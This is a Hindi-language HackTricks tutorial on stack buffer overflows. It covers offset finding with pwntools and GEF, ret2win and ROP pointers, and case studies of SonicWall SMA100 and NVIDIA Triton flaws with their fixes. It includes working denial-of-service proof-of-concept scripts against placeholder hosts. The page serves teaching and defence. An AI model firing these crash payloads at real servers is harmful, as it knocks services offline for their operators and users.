17 KiB
Raw Blame History

Stack Overflow

{{#include ../../banners/hacktricks-training.md}}

What is a Stack Overflow

A stack overflow एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा सन्निकट मेमोरी स्थान को ओवरराइट करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं।

इस ओवरराइट का मुख्य समस्या यह है कि सहेजा गया निर्देश सूचक (EIP/RIP) और सहेजा गया बेस सूचक (EBP/RBP) जो पिछले कार्य में लौटने के लिए होते हैं, स्टैक पर संग्रहीत होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और प्रोग्राम के निष्पादन प्रवाह को नियंत्रित कर सकेगा।

यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है।

इससे प्रभावित कुछ सामान्य कार्य हैं: strcpy, strcat, sprintf, gets... इसके अलावा, fgets, read & memcpy जैसे कार्य जो लंबाई तर्क लेते हैं, यदि निर्दिष्ट लंबाई आवंटित से अधिक है तो एक असुरक्षित तरीके से उपयोग किए जा सकते हैं।

उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Stack Overflows ऑफसेट्स खोजना

Stack overflows खोजने का सबसे सामान्य तरीका As का बहुत बड़ा इनपुट देना है (जैसे python3 -c 'print("A"*1000)') और एक Segmentation Fault की उम्मीद करना जो यह संकेत करता है कि पता 0x41414141 को एक्सेस करने की कोशिश की गई थी

इसके अलावा, एक बार जब आप यह पता लगा लेते हैं कि Stack Overflow की कमजोरी है, तो आपको यह पता लगाने की आवश्यकता होगी कि रिटर्न एड्रेस को ओवरराइट करने के लिए कितना ऑफसेट चाहिए, इसके लिए आमतौर पर De Bruijn अनुक्रम का उपयोग किया जाता है। जो एक दिए गए वर्णमाला के आकार k और लंबाई n के उप अनुक्रमों के लिए एक चक्रीय अनुक्रम है जिसमें लंबाई n का हर संभव उप अनुक्रम ठीक एक बार एक सन्निहित उप अनुक्रम के रूप में प्रकट होता है

इस तरह, EIP को नियंत्रित करने के लिए आवश्यक ऑफसेट को हाथ से पता लगाने के बजाय, इन अनुक्रमों में से एक को पैडिंग के रूप में उपयोग करना संभव है और फिर उन बाइट्स का ऑफसेट ढूंढना संभव है जो इसे ओवरराइट करने के अंत में हैं।

इसके लिए pwntools का उपयोग करना संभव है:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

या GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

स्टैक ओवरफ्लोज़ का शोषण

एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय वेरिएबल्स के मानों को ओवरराइट करने में सक्षम होंगे जब तक कि आप सुरक्षित EBP/RBP और EIP/RIP (या इससे भी अधिक) तक नहीं पहुँच जाते।
इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका रिटर्न पते को संशोधित करना है ताकि जब फ़ंक्शन समाप्त हो, तो नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है

हालांकि, अन्य परिदृश्यों में केवल स्टैक में कुछ वेरिएबल्स के मानों को ओवरराइट करना शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)।

Ret2win

इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक फंक्शन है जो कभी नहीं बुलाया जाता और जिसे आपको जीतने के लिए बुलाना होगा। इन चुनौतियों के लिए आपको केवल रिटर्न पते को ओवरराइट करने के लिए ऑफसेट ढूंढना है और बुलाने के लिए फंक्शन का पता लगाना है (आमतौर पर ASLR अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए:

{{#ref}} ret2win/ {{#endref}}

स्टैक शेलकोड

इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है:

{{#ref}} stack-shellcode/ {{#endref}}

ROP और Ret2... तकनीकें

यह तकनीक मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: कोई निष्पादन योग्य स्टैक (NX)। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी:

{{#ref}} ../rop-return-oriented-programing/ {{#endref}}

हीप ओवरफ्लोज़

एक ओवरफ्लो हमेशा स्टैक में नहीं होगा, यह हीप में भी हो सकता है, उदाहरण के लिए:

{{#ref}} ../libc-heap/heap-overflow.md {{#endref}}

सुरक्षा के प्रकार

भेद्यताओं के शोषण को रोकने के लिए कई सुरक्षा उपाय हैं, उन्हें देखें:

{{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}}

वास्तविक-विश्व उदाहरण: CVE-2025-40596 (SonicWall SMA100)

क्यों sscanf को अविश्वसनीय इनपुट को पार्स करने के लिए कभी भी भरोसा नहीं किया जाना चाहिए इसका एक अच्छा प्रदर्शन 2025 में SonicWall के SMA100 SSL-VPN उपकरण में सामने आया। /usr/src/EasyAccess/bin/httpd के अंदर कमजोर रूटीन किसी भी URI से संस्करण और एंडपॉइंट निकालने का प्रयास करता है जो /__api__/ से शुरू होता है:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. पहला रूपांतरण (%2s) सुरक्षित रूप से दो बाइट्स को version में स्टोर करता है (जैसे कि "v1").
  2. दूसरा रूपांतरण (%s) कोई लंबाई निर्दिष्ट नहीं करता, इसलिए sscanf पहले NUL बाइट तक कॉपी करना जारी रखेगा.
  3. क्योंकि endpoint स्टैक पर स्थित है और इसकी लंबाई 0x800 बाइट्स है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है जिसमें स्टैक कैनरी और सहेजा गया लौटने का पता शामिल है.

एकल-पंक्ति प्रमाण-का-धारणा क्रैश को प्रमाणन से पहले ट्रिगर करने के लिए पर्याप्त है:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक Denial-of-Service प्राइमिटिव प्राप्त होता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है:

  • हमेशा एक अधिकतम फ़ील्ड चौड़ाई प्रदान करें (जैसे %511s)।
  • snprintf/strncpy_s जैसे सुरक्षित विकल्पों को प्राथमिकता दें।

वास्तविक-विश्व उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA का Triton Inference Server (≤ v25.06) में कई स्टैक-आधारित ओवरफ्लो शामिल थे जो इसके HTTP API के माध्यम से पहुँचे जा सकते थे। कमजोर पैटर्न बार-बार http_server.cc और sagemaker_server.cc में दिखाई दिया:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) वर्तमान HTTP अनुरोध शरीर को बनाने वाले आंतरिक बफर खंडों की संख्या लौटाता है।
  2. प्रत्येक खंड 16-बाइट evbuffer_iovec को स्टैक पर alloca() के माध्यम से आवंटित करता है - कोई ऊपरी सीमा नहीं
  3. HTTP chunked transfer-encoding का दुरुपयोग करके, एक क्लाइंट अनुरोध को सैकड़ों-हजारों 6-बाइट के टुकड़ों में विभाजित करने के लिए मजबूर कर सकता है ("1\r\nA\r\n")। इससे n अनियंत्रित रूप से बढ़ता है जब तक कि स्टैक समाप्त नहीं हो जाता।

Proof-of-Concept (DoS)

#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

A ~3 MB अनुरोध सुरक्षित लौटने के पते को ओवरराइट करने और डिफ़ॉल्ट निर्माण पर क्रैश करने के लिए पर्याप्त है।

पैच और शमन

25.07 रिलीज़ असुरक्षित स्टैक आवंटन को हीप-बैक्ड std::vector से बदलती है और std::bad_alloc को सुचारू रूप से संभालती है:

std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

सीखें:

  • कभी भी alloca() को हमलावर-नियंत्रित आकारों के साथ कॉल न करें।
  • चंक्ड अनुरोध सर्वर-साइड बफर्स के आकार को नाटकीय रूप से बदल सकते हैं।
  • किसी भी मान को मान्य करें / सीमित करें जो क्लाइंट इनपुट से प्राप्त होता है पहले इसे मेमोरी आवंटनों में उपयोग करने से पहले।

संदर्भ

{{#include ../../banners/hacktricks-training.md}}